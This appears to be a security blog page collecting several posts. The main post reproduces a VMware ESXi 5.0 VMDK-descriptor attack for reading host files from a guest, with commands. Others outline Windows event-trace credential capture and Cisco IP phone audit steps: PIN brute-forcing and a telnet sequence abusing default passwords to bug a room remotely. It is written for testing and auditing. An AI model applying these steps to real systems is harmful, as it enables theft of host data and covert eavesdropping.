Stealing host data from a VMware vSphere 5.0 VM

This post in inspired by the Insinuator site's presentation on an attack on public IaaS clouds (+ follow-up post) that support VM uploads and that are based on VMware ESXi 5.0. Essentially, it's about a VM guest being able to read files on the ESXi host after abusing a VMDK Descriptor File's content.

I wanted to check if this is really a problem (i.e. the whole attack path being valid) or if this post was just something half-baked or simple "food for thought".

Reproducing this in my own environment 

Here, I'll try to reproduce what the above post did while checking that this is really a problem with VMware. I mean, this will only be a problem if exporting/importing the VM to/from OVF format works. In other words, if VMware performs clean-up/validation of while deploying OVF files, this alleged vulnerability may be irrelevant.

Test Environment: ESXi  5.0.0 #1 SMP Release build-474610 Aug 26 2011 13:51:17 x86_64)

Step 1: Simulate the stealing of the host's volume details from a Debian guest

On ESXi host:

• Connect to ESXi server using VMware vSphere Client 5.0
• Create a small Debian 6.0.3 Server VM
• SSH to ESXi hypervisor (SSH Server has to be turned on) - 

Here we will work on the host's files directly instead of exporting them to a different format (ie: OVF, OVA...) and then reimporting them.

• Edit resulting vmdk descriptor file (on the ESXi host directly). Added line in blue:

/vmfs/volumes/4e5bfad0-283f8ee6-1b9d-b499ba04496a/Small and temporary VM for Eric # vi Small\ and\ temporary\ VM\ for\ Eric.vmdk
# Disk DescriptorFile
version=1
encoding="UTF-8"
CID=f7fc44b3
parentCID=ffffffff
isNativeSnapshot="no"
createType="vmfs"

# Extent description
RW 2097152 VMFS "Small and temporary VM for Eric-flat.vmdk"
RW 32 VMFS "/bootbank/state.tgz"[...]

• Back in vSphere client, start the Debian VM
• SSH to VM or use the vSphere Client to get into the VM's console
• Multiply the VMFS size above by the block size of 512: 2097152 * 514 = 1073741824  (OFFSET)
• 
  
• Create new loopback device that points after the VMDK: losetup -v -o OFFSET -f /dev/sda 
• Use loopback device to extract data: tar -x -i --ignore-command-error --ignore-failed-read -z -f /dev/loop0 
• Extract files in the gzip package: tar -x -i --ignore-command-error --ignore-failed-read -z -f local.tgz [screenshot of above steps]
• Examine the content of the extracted data. Get the device file name from etc/vmware/esx.conf (naa...) [screenshot]
  

Good! we can get host volume details from a guest!

Step 2: Simulate the stealing of a host's volume content from a Debian guest

• In the host's console session, change the vmdk descriptor file as follows (added line in blue), taking into consideration the volume details obtained before:

/vmfs/volumes/4e5bfad0-283f8ee6-1b9d-b499ba04496a/Small and temporary VM for Eric # vi Small\ and\ temporary\ VM\ for\ Eric.vmdk
# Disk DescriptorFile
version=1
encoding="UTF-8"
CID=f7fc44b3
parentCID=ffffffff
isNativeSnapshot="no"
createType="vmfs"

# Extent description
RW 2097152 VMFS "Small and temporary VM for Eric-flat.vmdk"
RW 8386560 VMFSRAW "/dev/disks/naa.600508b1001c1bd269ddc2f549010bad:2"

[...]

• Restart the VM and reestablish a shell session to it
• View the data of the volume [screenshot]
  
  

NB: Although the above steps were successful to demonstrate how a guest could abuse access to data on the host, I could not reproduce the same thing by creating a portable OVF format that could be deployed to the host from a remote vSphere client (simulating a malicious IaaS customer).

However, my testing wasn't exhaustive. I didn't try to craft an OVF package taking into consideration the above. Somehow, I can't imagine that the deployment of such as package (with an absolute path pointing to a known host file/device) would work. Perhaps I should have thought of that before I started all this testing!

Nevertheless, it's not completely impossible that a cloud provider would use a different portable format that would allow this attack vector to work.

Web credential stealing (even HTTPS) via Windows event traces

Mark Bagget a trouvé une méthode pour extraire les détails de session web (même celles utilisant SSL) en activant le tracage Event Tracing for Windows (EVT), incluant le nom d'usager et mot de passe. Les détails sur le wiki de PaulDotCom. Cette méthode a certains prérequis (WinInet API).

Mark Bagget was able to extract web session details (including user credentials using SSL) by turning on some event tracing on a Windows target (i.e. post exploitation tool). This is described on the PaulDotCom show notes at
Episode300 - PaulDotCom Security Weekly. NB: this method has prerequisites (WinInet API usage).

Montreal Java User Group

Le Montréal Java User Group (JUG) est un groupe d'utilisateurs Java se réunissant régulièrement afin d'échanger des idées et de discuter des avancées technologiques de la plateforme Java.

Cisco IP Telephony security auditing ideas

Here's some ideas for security auditing a Cisco IP Telephony solution.

Password Auditing

Web UI

Use Burp to send POST requests (for all users) to the Cisco Call Manager login form at https://.../ccmuser/showHome.do

IP phone PIN 

The programmatic approach to test for Phone PIN would use an approach as described here: http://blog.malerisch.net/2012/10/callmanager-pin-bruteforce.html

NB: I haven't done that test automatically to avoid problems (in Prod) but I think that the clean sequence required looks like this:

• Get SIDVAL: /ccmpd/pdCheckLogin.do?name=undefined 
• Try logging in -- if we get XML w/o error, we're good; set pin value to your Org's default: /ccmpd/login.do?sid=SIDVAL&userid=USERID&pin=PIN
• Initiate logout: /ccmpd/pdLogoutPage.do?sid=SIDVAL
• Confirm logout and close session: /ccmpd/logout.do?sid=SIDVAL

 

Test other URIs used by Cisco IP phone

• http://.../ccmcip/xmldirectory.jsp 
• http://.../ccmcip/getservicesmenu.jsp 
• http://.../ccmcip/GetTelecasterHelpText.jsp 
• http://.../ccmcip/authenticate.jsp

Check if IP Phones can be used to remotely bug a (conference) room 

Another test idea is to see if listening in on remote conversations is possible because of unchanged defaults. This is described here http://dorkbyte.com/2010/10/31/cisco-ip-phones-lets-you-remotely-bug-a-room/

Excerpt from above reference (in case the above post disappears):

There exists an interesting “feature” in Cisco IP phones that allows a crafty user to remotely control a Cisco IP phone and set it to call a remote number (if setup to do so) and allow audio to stream normally — in effect allowing someone to remotely audio bug a room. In all fairness, this feature requires the controlling user to know the configured password for the phone which many installations leave the default password of “cisco” set.

To try this out:

1. Telnet to the phone (e.g. “telnet 192.0.2.10″). You may need to bridge your PC to the IP Phone VLAN from within the office (see http://www.linuxjournal.com/article/10821?page=0,2, use VLAN as determined from an IP phone's settings - eg: VLAN 161, IP: 172.16.2.241/255.255.255.127, DHCP server: 172.16.29.10, Host Name: SEPD0C282439930)
2. Enter the password for the phone At the “SIP Phone>” prompt: Start a “test” session with “test open”
3. Virtually take the phone off the hook with “test offhook”
4. Virtually dial the telephone number where the audio stream should go with “test key ” (e.g. “test key 14155556666″) 
5. The phone will start to make the call… Switch to speakerphone with “test key spkr” (to virtually push the Speakerphone key) 
6. Listen to the audio streaming from the phone…